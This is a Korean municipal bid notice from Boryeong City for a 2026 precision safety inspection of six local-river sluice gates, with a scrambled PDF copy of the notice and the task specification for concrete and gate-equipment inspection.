===== 기술(견적)용역-2026년 지방하천 수문·통문 정밀안전점검 용역(하반기).hwpx =====
수의계약대상용역 전자입찰(견적)안내
1. 입찰(견적)에 부치는 사항
(단위: 원)
용 역 명
(용역기간)
위 치
추정금액
기초금액
입찰참가
용역업종
추정가격
부가가치세
2026년 지방하천 수문·통문 정밀안전점검 용역(하반기)
(60일)
보령시 관내 지방하천 하천시설물
66,113,000
66,113,000
제3항
입찰참가자격
참조
60,102,727
6,010,273
※ 전산장애 등 발생 시 개찰시간이 늦어지거나 연기될 수 있습니다.
※ 재입찰을 허용한 입찰로서 투찰업체는 재입찰 여부를 반드시 확인하시기 바랍니다.<hp:lineBreak/>(재입찰, 변경공고, 공고 취소시 별도로 통보하지 않음)
2. 입찰(견적)서 제출
가. 본 입찰은 전자입찰(견적)로 집행하며, 전자입찰(견적)서는 반드시 “조달청 국가종합전자 조달(G2B)시스템(이하 “나라장터”라 칭함)”을 이용하여 위 해당용역으로 제출하여야 합니다. (홈페이지 http://www.g2b.go.kr)
나. 전자입찰(견적)서 등 제출확인은 나라장터의 보낸 문서함에서 확인하시기 바랍니다.
다. 투찰시간이 임박하여 투찰할 경우 여러업체의 집중투찰로 인하여 정상적인 투찰이 불가능한 상황이 종종 발생되오니 가급적 투찰마감 1~2일 전에 투찰하시기 바랍니다.
라. 공고일 기준 최근 지방자치단체 입찰 및 계약집행기준을 적용 대상입니다.
입찰개시일
입찰마감일시
개찰일시
개찰장소
2026. 09. 15.(화)
[10:00]
2026. 09. 18.(금)
[10:00]
2026. 09. 18.(금)
[11:00]
우리 시
입찰집행관 PC
3. 입찰(견적)참가 자격
가. 「지방자치단체를 당사자로 하는 계약에 관한 법률 시행령」 제13조 및 같은 법 시행규칙 제14조의 규정에 의한 자격 요건을 갖추고, 입찰공고일 전일 현재 주된 영업소(본사)를 보령시 내에 둔 업체로서 입찰일(낙찰자는 계약체결일)까지 아래 자격을 계속 유지하여야 합니다.
1) 「시설물의 안전 및 유지관리에 관한 특별법」에 따라 안전진단전문기관(수리분야 또는 종합) 또는 안전점검전문기관(토목분야)으로 등록한 업체
2) 「시설물의 안전 및 유지관리에 관한 특별법 시행령」 제9조의 규정에 따라 국토교통부장관이 인정하는 정밀안전점검 및 긴급안전점검(토목분야)의 기술자격 요건및 교육 요건을 갖추고 시설물통합정보관리체계(FMS)에 등록된 책임기술자를 보유한 업체
<hp:fwSpace/>※ 시설물의 안전 및 유지관리에 관한 특별법 시행령 제8조 제4항의 규정에 따라 당해 시설물의 설계·시공 또는 감리한 자의 계열회사(「독점규제 및 공정거래에 관한 법률」 제2조 제3호의 규정에 의한 계열사)인 안전진단전문기관 또는 안전점검전문기관은 본 입찰에 참여할 수 없습니다.
※ 개찰 후 책임기술자의 교육이수증, 자격등록증, 기술자보유증명서 및 기술자경력증명서 제출(책임기술자 보유여부 등은 입찰참가등록마감일 기준으로 하며, 퇴사한 기술인력은 정리한 후 관련협회에서 발급받아 제출하고, 기술인력에 대한 4대보험 가입 확인서류 등을 함께 제출)
※ 본 입찰은 『중소기업제품 구매촉진 및 판로지원에 관한 법률 시행령』제2조의3(중소기업자와의 우선 조달계약에 대한 예외) 제4호 및 중소기업자 우선조달제도 업무처리기준 제5조(중소기업자 우선조달계약에 대한 예외)를 적용합니다.
나. 「지방계약법」 제31조의5 및 「지방계약법 시행령」 제93조에 따라 ‘조세포탈 등을 한 자’로서 유죄판결이 확정된 날부터 2년이 지나지 아니한 자는 입찰에 참여할 수 없으며 입찰자는 입찰서 제출 시 「지방계약법 시행령」 제93조에 해당하지 아니한다는 【붙임】 서약서를 제출하여야 합니다. 다만, 전자입찰의 경우 입찰서 제출 시 전자입찰서에 서약서의 내용을 포함하고 있으므로 전자입찰서 제출로 확약서 제출을 갈음합니다.
4. 입찰(견적) 및 계약방식
수의계약대상용역으로서 전자입찰(견적)로 집행합니다.
5. 현장설명 일시 및 장소
과업지시서 열람으로 갈음합니다.
6. 설계서 열람장소
보령시청 건설과 하천팀 (☎ 041-930-3845)
7. 입찰보증금 납부 및 국고 귀속
가. 입찰보증금은 「지방계약법 시행령」 제37조제3항제6호의 규정에 의거 면제하되, 입찰(견적)금액의 100분의 5이상에 해당하는 입찰보증금의 납부확약 내용이 명시된 나라장터 전자입찰(견적)서의 납부이행 각서로 대신합니다.
나. 낙찰자는 낙찰통지를 받은 후 10일 이내에 계약을 체결하여야 하며, 이 기한 내 계약을 체결하지 않을시 입찰보증금을 우리 시에 납부하여야 합니다.
8. 입찰의 무효
가. 「지방계약법 시행령」 제39조제4항, 같은 법 시행규칙 제42조, 입찰유의서 제12조에 해당하는 입찰(견적) 및 국가종합전자조달시스템(G2B) 전자입찰특별유의서에 반하는 입찰(견적)은 무효로 합니다.
나. 지방자치단체 입찰 및 계약집행기준 수의계약 운영요령에서 정한 배제사유 중 어느 하나에도 해당하는 자의 입찰(견적)은 무효로 합니다.
입찰참가자격등록증상의 상호 및 대표자(수인대표인 경우 대표자 전원의 성명을 모두 등재, 각자대표도 해당)가 법인등기부등본상의 상호, 대표자와 다른 경우에는 입찰참가자격등록증을 변경등록하고 입찰에 참여하여야 하며, 변경등록하지 않고 참여한 입찰은 무효입찰임을 알려드리니 주의하시기 바랍니다.
9. 예정가격 및 낙찰자 결정방법
가. 예정가격은 기초금액을 기준으로 ±3% 범위에서 15개의 복수예비가격을 작성, 입찰(견적) 참여업체들이 추첨(2개씩 선택)한 번호 중 가장 많이 선택된 4개의 예비가격을 산술평균한 금액으로 결정됩니다.
나. 지방자치단체 입찰 및 계약집행기준 수의계약 운영요령에 따라 낙찰자를 결정합니다.
※ 예정가격이하로서 예정가격의 88%이상 최저가로 입찰(견적)한 자를 낙찰자로 결정합니다.<hp:lineBreak/>→ 별도 낙찰자 통보 공문은 발송하지 않으며 나라장터를 통해 확인 바랍니다.
다. 동일가격 입찰자가<hp:fwSpace/><hp:fwSpace/>2인 이상일 때에는 「지방계약법 시행령」 제48조의 규정에 의합니다.
라. 동일가격 입찰 낙찰자 결정시 전자입찰특별 유의서 제15조에 의거 전자조달시스템(나라장터)을 통한 자동 추첨방식으로 결정합니다.
마. 개찰결과 기초금액 및 기타 본 공고와 상이한 내용으로 개찰이 진행되었을 경우 개찰결과 (입찰순위)를 무효로 하고 재공고 입찰(견적)을 실시합니다.
10. 안전 및 보건확보의무
계약대상자는 종사자의 안전·보건 상 유해 또는 위험을 방지하고 그 이용자 또는 그 밖의 사람의 생명, 신체의 안전을 위해 해당 사업의 특성 및 규모 등을 고려하여 다음과 같이 중대재해처벌법 제4조 및 제9조의 안전 및 보건 확보 의무사항을 이행하여야 합니다.
《 계약업체의 안전 및 보건 확보 의무사항(중대재해처벌법 제4조, 제9조)》
① 재해예방에 필요한 인력·예산·점검 등 안전보건관리체계의 구축 및 그 이행에 관한 조치
② 재해 발생 시 재발방지 대책의 수립 및 그 이행에 관한 조치
③ 중앙행정기관·지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항의 이행에 관한 조치
④ 안전·보건 관계 법령에 따른 의무이행에 필요한 관리상의 조치
11. 안전·보건 관리 준수 서약제 실시
본 입찰에 참가하고자 하는 자는 근로자의 중대재해 예방을 위한 ‘안전보건관리 준수 서약서’를 숙지한 후 입찰에 응해야 하며, 입찰서를 제출 한 자는 ‘안전보건관리 준수 서약서’를 제출한 것으로 간주합니다. 다만, 계약체결 시에는 낙찰업체의 대표자가 서명한 【붙임1】의 ‘안전보건관리 준수 서약서’를 제출하여야 합니다.
12. 기 타
가. 입찰(견적)참가자는 국가종합전자조달시스템(G2B) 전자입찰 특별유의서, 국가종합전자 조달시스템(G2B) 전자입찰 이용약관, 용역입찰유의서, 용역계약일반조건, 과업지시서 및 기타 입찰(견적)에 관한 서류를 입찰(견적)전에 열람 및 숙지하여야 하며, 숙지하지 못한 책임은 입찰(견적) 참가자에게 있습니다.
나. 본 입찰(견적)은 조달청에서 구축한 전자조달시스템을 우리 시에서 활용하는 입찰(견적)이며, 입찰참가등록은 별도로 실시하지 않습니다.
다. 낙찰자는 대가 청구시 청구금액(부가세 제외)의 2.5%에 해당하는 충청남도 지역개발공채 소화필증을 첨부하여야 합니다.
라. 본 입찰 건과 관련하여 우리 시 직원이 금품, 향응 등 부당한 요구를 할 경우 보령시 홈페이지 공직비리 핫라인 및 전화(041-930-3129), 팩스(041-930-3109)로 신고하여 주시기 바랍니다.
마. 보충정보 제공처
- 입찰에 관한 사항 : 보령시청 회계과 계약팀 (☎ 041-930-3574)
- 용역 및 설계내용 : 보령시청 건설과 하천팀 (☎ 041-930-3845)
- 전자입찰이용에 관한사항 : 조달청 전자조달 콜센터 (☎ 1588-0800)
2026. 9. 14.
보 령 시 재 무 관
【붙임1】안전·보건 관리 준수 서약서
본인은 귀 기관의 ( 용역명 또는 공사명 기재 ) 계약을 수행함에 있어 재해예방을위하여 아래의 내용과 관련 법규에서 정한 필수사항을 철저히 준수할 것을 다음과 같이 서약합니다.
❍ 「산업안전보건법, 중대재해처벌법」 등 안전관련 제 법규를 준수하겠습니다.
❍ 본인은 본 계약을 수행함에 있어 상기 법령 및 발주처의 정기·수시 안전관련 이행점검을 포함한 안전보건 의무조치 사항(관리감독자 지정, 안전보건교육 등)을 준수하여 계약을 성실히 이행할 것이며, 만일 이를 이행하지 않을 경우 계약해지, 입찰참가자격 제한조치 등 불이익 처분을 받더라도 하등의 이의를 제기하지 아니할 것을 확약합니다.
2026년
월
일
주 소:
업체명:
대표자:
(인)
【붙임2】
지방계약법 제31조의5 및
같은 법 시행령 제93조에 따른 서약서
당사는 「지방계약법」제31조의5에 따른 조세포탈 등을 한 자가 아님을 서약합니다. 만일 다음 각호의 사유에 해당되어 유죄판결이 확정된 날부터 2년이 지나지 않는 사실이 발견된 때에는 계약을 해제ㆍ해지하는 등의 불이익을 감수하겠으며, 「지방계약법 시행령」 제93조에 따라 부정당업자의 입찰참가자격제한 처분을 받겠습니다.
1. 「관세법」 제270조에 따른 부정한 방법으로 관세를 면탈하거나 감면 또는 환급받은 세액이 5억원 이상인 자
2. 「국제조세조정에 관한 법률」 제34조제1항에 따른 해외금융계좌의 신고의무를 위반하고, 그 신고의무 위반금액이 「조세범 처벌법」 제16조에 따른 금액을 초과하는 자
3. 「외국환거래법」 제18조에 따른 자본거래의 신고의무를 위반하고, 그 신고의무 위반금액이 같은 법 제29조제1항제3호에 따른 금액을 초과하는 자
4. 「조세범 처벌법」 제3조에 따른 조세 포탈세액이나 환급ㆍ공제받은 세액이 5억원 이상인 자
5. 「지방세기본법」 제102조에 따른 지방세 포탈세액이나 환급ㆍ공제 세액이 5억원 이상인 자
2026.
.
.
서 약 자 : ○○○회사
대표 ○○○ (인)
보령시재무관 귀하
===== 기술(견적)용역-2026년 지방하천 수문·통문 정밀안전점검 용역(하반기).pdf =====
종합) 또는 안전점검전문기관(토목분야)으로 등록한 업체
수의계약대상용역 전자입찰( 견적) 안내
2) 「시설물의 안전 및 유지관리에 관한 특별법 시행령」 제9조의 규정에 따라 국토
교통부장관이 인정하는 정밀안전점검 및 긴급안전점검(토목분야)의 기술자격 요건
및 교육 요건을 갖추고 시설물통합정보관리체계(FMS)에 등록된 책임기술자를 보유한 업체
※ 시설물의 안전 및 유지관리에 관한 특별법 시행령 제8조 제4항의 규정에 따라 당해 시설물의
1. 입찰(견적)에 부치는 사항
(단위: 원)
용 역 명
(용역기간)
2026년 지방하천
수문·통문 정밀안전점검
용역(하반기)
(60일)
위 치
보령시 관내
지방하천
하천시설물
추정금액
추 정 가 격
부가 가 치 세
입찰참가 기초금액 용역업종
규정에 의한 계열사)인 안전진단전문기관 또는 안전점검전문기관은 본 입찰에 참여할 수 없습니다.
※ 개찰 후 책임기술자의 교육이수증, 자격등록증, 기술자보유증명서 및 기술자경력증명서 제출(책임
기술자 보유여부 등은 입찰참가등록마감일 기준으로 하며, 퇴사한 기술인력은 정리한 후 관련협회
66,113,000
60,102,727
설계·시공 또는 감리한 자의 계열회사(「독점규제 및 공정거래에 관한 법률」 제2조 제3호의
66,113,000 6,010,273
제3항
입찰참가자격
참조
에서 발급받아 제출하고, 기술인력에 대한 4대보험 가입 확인서류 등을 함께 제출)
※ 본 입찰은 『중소기업제품 구매촉진 및 판로지원에 관한 법률 시행령』제2조의3(중소
기업자와의 우선 조달계약에 대한 예외) 제4호 및 중소기업자 우선조달제도 업무처
※ 전산장애 등 발생 시 개찰시간이 늦어지거나 연기될 수 있습니다.
리기준 제5조(중소기업자 우선조달계약에 대한 예외)를 적용합니다.
※ 재입찰을 허용한 입찰로서 투찰업체는 재입찰 여부를 반드시 확인하시기 바랍니다.
(재입찰, 변경공고, 공고 취소시 별도로 통보하지 않음)
나. 「지방계약법」 제31조의5 및 「지방계약법 시행령」 제93조에 따라 ‘조세포탈 등을 한 자’
로서 유죄판결이 확정된 날부터 2년이 지나지 아니한 자는 입찰에 참여할 수 없으며
입찰자는 입찰서 제출 시 「지방계약법 시행령」 제93조에 해당하지 아니한다는
2. 입찰(견적)서 제출
가. 본 입찰은 전자입찰(견적)로 집행하며, 전자입찰(견적)서는 반드시 “조달청 국가종합
전자 조달(G2B)시스템(이하 “나라장터”라 칭함)”을 이용하여 위 해당용역으로 제출
【붙임】 서약서를 제출하여야 합니다. 다만, 전자입찰의 경우 입찰서 제출 시 전자입찰서에
서약서의 내용을 포함하고 있으므로 전자입찰서 제출로 확약서 제출을 갈음합니다.
하여야 합니다. (홈페이지 http://www.g2b.go.kr)
나. 전자입찰(견적)서 등 제출확인은 나라장터의 보낸 문서함에서 확인하시기 바랍니다.
다. 투찰시간이 임박하여 투찰할 경우 여러업체의 집중투찰로 인하여 정상적인 투찰이
4. 입찰(견적) 및 계약방식
수의계약대상용역으로서 전자입찰(견적)로 집행합니다.
불가능한 상황이 종종 발생되오니 가급적 투찰마감 1~2일 전에 투찰하시기 바랍니다.
라. 공고일 기준 최근 지방자치단체 입찰 및 계약집행기준을 적용 대상입니다.
입찰개시일
입찰마감일시 개찰일시 개찰장소
2026. 09. 15.(화)
[10:00]
2026. 09. 18.(금)
[10:00]
2026. 09. 18.(금)
[11:00]
우리 시
입찰집행관 PC
5. 현장설명 일시 및 장소
과업지시서 열람으로 갈음합니다.
6. 설계서 열람장소
보령시청 건설과 하천팀 (☎ 041-930-3845)
3. 입찰(견적)참가 자격
가. 「지방자치단체를 당사자로 하는 계약에 관한 법률 시행령」 제13조 및 같은 법
7. 입찰보증금 납부 및 국고 귀속
시행규칙 제14조의 규정에 의한 자격 요건을 갖추고, 입찰공고일 전일 현재 주된
가. 입찰보증금은 「지방계약법 시행령」 제37조제3항제6호의 규정에 의거 면제하되,
영업소(본사)를 보령시 내에 둔 업체로서 입찰일(낙찰자는 계약체결일)까지 아래
입찰(견적)금액의 100분의 5이상에 해당하는 입찰보증금의 납부확약 내용이
자격을 계속 유지하여야 합니다.
1) 「시설물의 안전 및 유지관리에 관한 특별법」에 따라 안전진단전문기관(수리분야 또는
명시된 나라장터 전자입찰(견적)서의 납부이행 각서로 대신합니다.
나. 낙찰자는 낙찰통지를 받은 후 10일 이내에 계약을 체결하여야 하며, 이 기한 내
계약을 체결하지 않을시 입찰보증금을 우리 시에 납부하여야 합니다.
11. 안전·보건 관리 준수 서약제 실시
8. 입찰의 무효
본 입찰에 참가하고자 하는 자는 근로자의 중대재해 예방을 위한 ‘안전보건관리 준수 서약서’를
가. 「지방계약법 시행령」 제39조제4항, 같은 법 시행규칙 제42조, 입찰유의서 제12조에
숙지한 후 입찰에 응해야 하며, 입찰서를 제출 한 자는 ‘안전보건관리 준수 서약서’를 제출한 것으로
해당하는 입찰(견적) 및 국가종합전자조달시스템(G2B) 전자입찰특별유의서에
간주합니다. 다만, 계약체결 시에는 낙찰업체의 대표자가 서명한 【붙임1】의 ‘안전보건관리
반하는 입찰(견적)은 무효로 합니다. 준수 서약서’를 제출하여야 합니다.
나. 지방자치단체 입찰 및 계약집행기준 수의계약 운영요령에서 정한 배제사유 중
어느 하나에도 해당하는 자의 입찰(견적)은 무효로 합니다.
입찰참가자격등록증상의 상호 및 대표자(수인대표인 경우 대표자 전원의 성명
을 모두 등재, 각자대표도 해당)가 법인등기부등본상의 상호, 대표자와 다른 경
우에는 입찰참가자격등록증을 변경등록하고 입찰에 참여하여야 하며, 변경등록하
지 않고 참여한 입찰은 무효입찰임을 알려드리니 주의하시기 바랍니다.
12. 기 타
가. 입찰(견적)참가자는 국가종합전자조달시스템(G2B) 전자입찰 특별유의서, 국가종합
전자 조달시스템(G2B) 전자입찰 이용약관, 용역입찰유의서, 용역계약일반조건, 과
업지시서 및 기타 입찰(견적)에 관한 서류를 입찰(견적)전에 열람 및 숙지하여야
하며, 숙지하지 못한 책임은 입찰(견적) 참가자에게 있습니다.
나. 본 입찰(견적)은 조달청에서 구축한 전자조달시스템을 우리 시에서 활용하는 입
9. 예정가격 및 낙찰자 결정방법
가. 예정가격은 기초금액을 기준으로 ±3% 범위에서 15개의 복수예비가격을 작성,
입찰(견적) 참여업체들이 추첨(2개씩 선택)한 번호 중 가장 많이 선택된 4개의
예비가격을 산술평균한 금액으로 결정됩니다.
나. 지방자치단체 입찰 및 계약집행기준 수의계약 운영요령에 따라 낙찰자를 결정
합니다.
※ 예정가격이하로서 예정가격의 88%이상 최저가로 입찰(견적)한 자를 낙찰자로
결정합니다.
→ 별도 낙찰자 통보 공문은 발송하지 않으며 나라장터를 통해 확인 바랍니다.
다. 동일가격 입찰자가 2인 이상일 때에는 「지방계약법 시행령」 제48조의 규정에 의합니다.
찰(견적)이며, 입찰참가등록은 별도로 실시하지 않습니다.
다. 낙찰자는 대가 청구시 청구금액(부가세 제외)의 2.5%에 해당하는 충청남도 지역
개발공채 소화필증을 첨부하여야 합니다.
라. 본 입찰 건과 관련하여 우리 시 직원이 금품, 향응 등 부당한 요구를 할 경우 보령시
홈페이지 공직비리 핫라인 및 전화(041-930-3129), 팩스(041-930-3109)로 신고
하여 주시기 바랍니다.
마. 보충정보 제공처
- 입찰에 관한 사항 : 보령시청 회계과 계약팀 (☎ 041-930-3574)
- 용역 및 설계내용 : 보령시청 건설과 하천팀 (☎ 041-930-3845)
- 전자입찰이용에 관한사항 : 조달청 전자조달 콜센터 (☎ 1588-0800)
라. 동일가격 입찰 낙찰자 결정시 전자입찰특별 유의서 제15조에 의거 전자조달시스템
(나라장터)을 통한 자동 추첨방식으로 결정합니다.
2026. 9. 14.
마. 개찰결과 기초금액 및 기타 본 공고와 상이한 내용으로 개찰이 진행되었을 경우
개찰결과 (입찰순위)를 무효로 하고 재공고 입찰(견적)을 실시합니다.
보
10. 안전 및 보건확보의무
계약대상자는 종사자의 안전·보건 상 유해 또는 위험을 방지하고 그 이용자 또는 그 밖의
사람의 생명, 신체의 안전을 위해 해당 사업의 특성 및 규모 등을 고려하여 다음과 같이
중대재해처벌법 제4조 및 제9조의 안전 및 보건 확보 의무사항을 이행하여야 합니다.
《 계약업체의 안전 및 보건 확보 의무사항(중대재해처벌법 제4조, 제9조)》
① 재해예방에 필요한 인력·예산·점검 등 안전보건관리체계의 구축 및 그 이행에 관한 조치
② 재해 발생 시 재발방지 대책의 수립 및 그 이행에 관한 조치
③ 중앙행정기관·지자체가 관계 법령에 따라 개선, 시정 등을 명한 사항의 이행에 관한 조치
④ 안전·보건 관계 법령에 따른 의무이행에 필요한 관리상의 조치
령 시 재 무 관 【붙임1】 【붙임2】 지방계약법 제31조의5 및
안전·보건 관리 준수 서약서
본인은 귀 기관의 ( 용역명 또는 공사명 기재 ) 계약을 수행함에 있어 재해예방을
위하여 아래의 내용과 관련 법규에서 정한 필수사항을 철저히 준수할 것을 다음
과 같이 서약합니다.
같은 법 시행령 제93조에 따른 서약서
당사는 「지방계약법」제31조의5에 따른 조세포탈 등을 한 자가 아님을 서약
합니다. 만일 다음 각호의 사유에 해당되어 유죄판결이 확정된 날부터 2년이
지나지 않는 사실이 발견된 때에는 계약을 해제ㆍ해지하는 등의 불이익을 감
수하겠으며, 「지방계약법 시행령」 제93조에 따라 부정당업자의 입찰참가자격
제한 처분을 받겠습니다.
❍ 「산업안전보건법, 중대재해처벌법」 등 안전관련 제 법규를 준수하겠습니다.
1. 「관세법」 제270조에 따른 부정한 방법으로 관세를 면탈하거나 감면 또는
환급받은 세액이 5억원 이상인 자
❍ 본인은 본 계약을 수행함에 있어 상기 법령 및 발주처의 정기·수시 안전관련
이행점검을 포함한 안전보건 의무조치 사항(관리감독자 지정, 안전보건교육
등)을 준수하여 계약을 성실히 이행할 것이며, 만일 이를 이행하지 않을 경우
계약해지, 입찰참가자격 제한조치 등 불이익 처분을 받더라도 하등의 이의를
제기하지 아니할 것을 확약합니다.
2026년
월
2. 「국제조세조정에 관한 법률」 제34조제1항에 따른 해외금융계좌의 신고의
무를 위반하고, 그 신고의무 위반금액이 「조세범 처벌법」 제16조에 따른
금액을 초과하는 자
3. 「외국환거래법」 제18조에 따른 자본거래의 신고의무를 위반하고, 그 신고
의무 위반금액이 같은 법 제29조제1항제3호에 따른 금액을 초과하는 자
일
주 소:
4. 「조세범 처벌법」 제3조에 따른 조세 포탈세액이나 환급ㆍ공제받은 세액
이 5억원 이상인 자
업체명:
대표자:
(인)
5. 「지방세기본법」 제102조에 따른 지방세 포탈세액이나 환급ㆍ공제 세액이
5억원 이상인 자
2026.
서 약 자 : 보령시재무관 귀하 . . ○○○회사 대표 ○○○ (인)
===== 2026년 지방하천 수문통문 정밀안전점검 용역설계서(하반기).hwpx =====
Ⅰ. 설 계 설 명 서
1. 과업명 : 2026년도 지방하천 수문․통문 정밀안전점검 용역(하반기)
2. 과업 목적
본 과업은 “시설물의 안전 및 유지관리에 관한 특별법”(이하 “시설물안전법”이라 한다.) 제12조 및 같은법 시행령 제 10조 규정에 따른 정밀안전점검(안전점검)으로서 시설물에 대한 물리적 기능적 결함을 조사하고 구조적 안전성 및 손상상태를 점검하여, 재해를 예방하고 시설물의 효용을 증진시켜 공공의 안전을 확보하는데 그 목적이 있다.
3. 과업 대상
구분
시설물명
위치
등급
계
6개소
1
구시수문
대천동 288-307
C
2
남포1배수통문
남포면 삼현리 1005-3
B
3
남포2배수통문
남포면 삼현리 1429
B
4
봉당3배수통문
주교면 주교리 1339-14
B
5
신대2배수통문
대천동 972-2
B
6
신대3배수통문
주교면 관창리 1126-2
B
- 정밀안전점검 6개소
4. 과업 범위
○ 사전조사
○ 현장조사 및 시험
○ 조사결과 검토 및 분석
○ 상태평가
○ 종합평가 및 안전등급 지정
○ 보고서 작성
5. 과업 기간 착수일로부터 60일간 Ⅱ. 일반과업지시서
1. 각종 시방서 및 제기준 숙지
본 용역 과업은 정부에서 재정한 아래의 각종 시방서 및 규정과 본 용역 설계서의 특별 과업지시서에 의거 시행하여야 하고, 아래의 각종 시방서 및 제기준 등을 반드시 용역 과업을 수행하는 사무실에 비치하여 용역참가자는 필히 숙지 활용하여야 한다.
가. 토목공사 일반 표준시방서 나. 콘크리트 표준시방서 다. 하천공사 표준시방서 라. 시설물의 안전관리에 관한 특별법
라. 시설물의 안전 및 유지관리 실시등에 관한 지침
마. 기타 관련도서 및 법규 등 2. 용역금액 산출시 적용기준
가. 노임단가 : 용역성과품 납품당시 대한건설협회에서 조사공표한 시중노임단가
나. 환
율 : 외국환 거래법에 의한 기준환율(2022년 1월 기준 전신환 매도율) 적용
다. 수량 및 단가 산출은 정부제정 건설공사 표준품셈에 의하여 산출하고 이에 의할 수 없는 특별사항에 대하여는 현실에 맞는 적정단가를 감독관과 협의하여 산출하여야 한다.
3. 계약자는 계약 후 7일 이내에 착수계, 대리인계, 과업 수행 계획서, 예정공정표 등을 작성 제출하여야 한다.
4. 시설물정보관리종합시스템(FMS)에 누락된 도면 등 관련 자료를 금회 용역 중 작성 및 입력하여야 한다.
5. 일반 과업지시서의 내용과 특별 과업지시서의 내용이 서로 상이할 경우에는 특별과업지시서가 우선한다.
6. 일반 과업지시서 및 특별 과업지시서에 명기된 내용이외에 필요한 사항은 발주 기관장과 협의하여 시행하여야 한다.
7. 본 과업에 명시되어 있지 않은 사항은 감독관과 사전협의하여 결정한다.
8. 과업 수행자는 본 과업의 효율적인 완수를 위하여 수행기간 중 감독관의 요구가 있을 때 과업진도 보고서를 제출하고 과업전반에 걸쳐 진행 보고를 하여야 한다.
9. 본 과업 수행 중 정책의 변경이나 우리 시의 기본방침의 변경 등으로 인하여 과업내용 중 일부 또는 전부의 변경이 필요할 때에는 서로 협의하여 정하도록 한다.
Ⅲ. 특 별 과 업 지 시 서
1. 용역기간
본 용역 과업기간은 착수일로부터 60일로 하고 다음의 경우 관의 승인을 득한 후, 기간을 연장할 수 있다.
가. 천재지변 등 불가항력으로 작업이 불가능할 때.
나. 발주기관의 지시에 의하여 작업이 중단되었을 때.
다. 관계기관과 협의 및 검토가 관의 사유로 지연되었을 때.
라. 기타 불가피한 상황이 발생되었을 때. 2. 설계변경 조건
가. 용역과업 수행 중 계획변경으로 인하여 과업내용의 변경 또는 증․감이 발생되었을 때는 발주자의 지시에
의하여 변경할 수 있다.
나. 추가 조사항목 필요시는 실 조사비로 정산한다.
다. 관계법령 변경 등 기타 정당한 변경 사유가 있을 경우
라. 천재지변으로 본 설계도서대로 용역수행이 불가능 할 때
마. 기타 우리시의 사정으로 설계변경이 불가피 할 때
3. 기타사항
가. 과업지시서에서 명기되지 않은 세부사항에 대하여는 “시설물의 안전 및 유지관리 실시 등에 관한 지침(2018.01.16.)”에 의한다.
4. 과업의 내용
가. 시설물 관련 도서 검토 및 계획 수립
(1) 설계도서 등 보수․ 보강이력, 사고이력, 점검 ․ 진단이력, 시설물관리 대장 및 기타 관련 자료 등을 수집하여 분석하고 자료 분석결과를 토대로 시설물에 대한 세부계획을 수립한다.
나. 현장 조사
(1) 육안검사와 간단한 장비 등을 통하여 구조물 형상, 상태를 조사한다.
(가) 형상조사 : 구조물의 규격, 치수 등
(나) 상태조사 : 강재부식, 권양기 조작상태, 문비 밀폐상태와 콘크리트 구조물의 손상, 균열, 세굴, 박리 ․ 박락, 누수, 열화 등
(다) 형상 및 상태조사 자료를 이용한 손상 상태 조사표 작성
(라) 비파괴 시험 항목 및 위치선정
다. 제반 관련 시험 실시 : 정기점검 재료시험 기준수량은 정기안전진단(세부)지침 (수문)을 참조한다.
(1) 외관조사 결과 선정한 위치에 각종 현장시험을 실시한다.
(가) 콘크리트 비파괴 강도시험(반발경도법)
(나) 콘크리트 탄산화 시험
(수문 및 제방 시설물 조사항목)
외관조사항목
내구성조사 항목
기타항목
∘ 콘크리트 : 균열, 박리, 박락, 층분리, 철근노출, 재료분리,
백태, 누수, 파손
∘ 강
재 : 부식, 피로균열, 도장손상 등
∘ 제
방 : 침하, 누수, 세굴, 퇴적, 식생 등
∘ 콘크리트강도
- 비파괴시험 : 반발경도법
∘ 콘크리트탄산화 깊이
(2) 수문구조물
(가) 수문본체 및 암거구조물의 외관조사(육안검사) 및 외관조사망도 작성
(나) 정밀육안 검사에 의하여 콘크리트 구조물의 상세외관조사
- 균열 : 육안에 의한 균열 발생 여부 및 손상의 정도
- 박리(Scaling) : 박리의 위치 크기 및 깊이 조사
- 층분리(Delamination) : 층분리 발생여부 및 위치 및 크기 조사
- 박락(Spalling) : 균열을 따라 원형으로 콘크리트가 탈락하는 현상으로 위치 및 크기 조사
- 백태(Efflorescence) : 콘크리트 내부의 염성분이 표면에 고착화된 것으로 위치 및 크기 조사
- 철근노출 및 부식여부 조사
- 누수 : 시공이음부의 결함 및 균열 등으로 인한 누수여부 조사
- 외부 요인에 의한 충돌 손상 - 기타 콘크리트 동해발생 여부 등 조사
(다) 박스암거구조물의 제방 접속부위 이상 유무 조사
(라) 박스암거내의 퇴적물 여부 조사 (마) 콘크리트 비파괴시험
- 콘크리트 비파괴시험은 반발경도시험, 탄산화시험 등을 실시하며 비파괴시험 수량은 정밀안전진단 세부지침을 따른다.
(3) 기계설비(문비 및 권양기) (가) 기계설비 작동유무
(나) 문짝규격조사 : 수문의 대표문짝을 선정하여 수평형의 배치간격, 사용부재, 문짝의 크기 등 실제치수를 측정한다.
(4) 제방
(가) 수문구조물이 위치한 상․하류측 제방 20m에 대하여 세부지침의 정밀점검을 기준으로 한 현장조사 실시
(나) 제방의 정밀점검 실시범위는 다음의 주요부재에 한한다.
- 제체
∘ 표준제
앞비탈, 앞턱, 둑마루, 뒷비탈, 뒷턱 등
∘ 특수제
토사제체, 직립구조물(옹벽공, 말뚝공, 석축공, 흉벽 등)
- 호안 : 비탈덮기, 기초(비탈멈춤), 호안머리공, 구조이음줄눈 등
- 하상부 : 하상보호사석 등 밑다짐공 상태
라. 시설물별 조사결과 분석
현장조사와 더불어 관련시험 결과치를 분석하여 점검 대상물의 기능성 및 내구성에 대하여 검토한다.
마. 상태평가 등
(1) 상태평가는 시설물 주요구조부에 대한 외관조사 및 재료시험에 의해 시설물의 각 부재로부터 발견된 상태변화(결함, 손상, 열화)를 근거로 하여 수문 세부지침의 상태평가 기준에 따라 실시한다.
(2) 책임기술자는 점검결과 각 부재로부터 발견된 결함을 근거로 하여 결함의 범위 및 정도에 따라 5단계의 상태평가 기준 및 평가유형을 제시한다.
(3) 결함 및 손상에 대한 평가유형은 중요결함, 국부결함, 일반손상으로 구분한다. 자세한 사항은 안전점검 및 정밀안전진단 세부지침에 의거 시행한다.
(4) 수문시설물의 상태평가는 수문구조물 및 기계설비를 각각 복합시설물로 구분하여 시행하며 하위단계인 개별시설, 복합부재, 개별부재로 구분한 후 개별부재부터 평가를 실시한다. 평가의 최초단계인 손상상태 평가표에 대한 외관조사망도는 개별부재에 대하여 작성하는 것을 원칙으로 하고 필요시 개별부재의 크기, 면적에 따라 부위별로 분할하여 작성한다.
